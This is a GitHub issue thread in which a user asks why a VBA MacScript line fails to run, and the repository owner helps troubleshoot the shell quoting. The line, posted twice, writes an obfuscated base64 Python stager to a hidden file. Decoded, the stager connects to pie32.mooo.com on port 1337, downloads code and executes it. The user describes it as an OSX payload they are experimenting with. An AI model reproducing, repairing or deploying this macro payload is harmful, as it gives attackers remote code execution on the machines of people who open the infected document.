Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Syntax error #29

Open
bkr32 opened this issue May 17, 2017 · 6 comments
Open

Syntax error #29

bkr32 opened this issue May 17, 2017 · 6 comments

Comments

@bkr32
Copy link

bkr32 commented May 17, 2017

i've been getting a syntax error for the following line, what could be the problem?
MacScript "do shell script ""echo "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCdwaWUzMi5tb29vLmNvbScsMTMzNykpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))" >> $HOME/.hidden/connect.py/"""

@Pepitoh
Copy link
Owner

Pepitoh commented May 18, 2017

Hi,
I think there is a problem with your quoting. Difficult for me to debug without knowing what you want to do.

you should check : ">> $HOME/.hidden/connect.py/", I think it should be ">> $HOME/.hidden/connect.py", and $HOME is a Linux variable, it will not work on a Win system.

Pepitoh.

@bkr32
Copy link
Author

bkr32 commented May 18, 2017

i am trying to experiment with payloads for OSX, in this particular case it's writing a python file which is the code given above, in the code i am echo'ing the python file into a existing connect.py file but i am unable to write it due to that syntax error i'm personally not even sure where i am incorrectly quoting, i have tried using single quotes which works but stops at the next single quote which are quite a few in the script

@Pepitoh
Copy link
Owner

Pepitoh commented Aug 11, 2017

Hi @bkr32 , Did you mange to make it work?

@bkr32
Copy link
Author

bkr32 commented Aug 11, 2017

unfortunately no :(

@Pepitoh
Copy link
Owner

Pepitoh commented Aug 11, 2017

The problem is always here : "MacScript "do shell script ""echo "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCdwaWUzMi5tb29vLmNvbScsMTMzNykpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))" >> $HOME/.hidden/connect.py/"""" ?

@bkr32
Copy link
Author

bkr32 commented Aug 11, 2017

yes

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants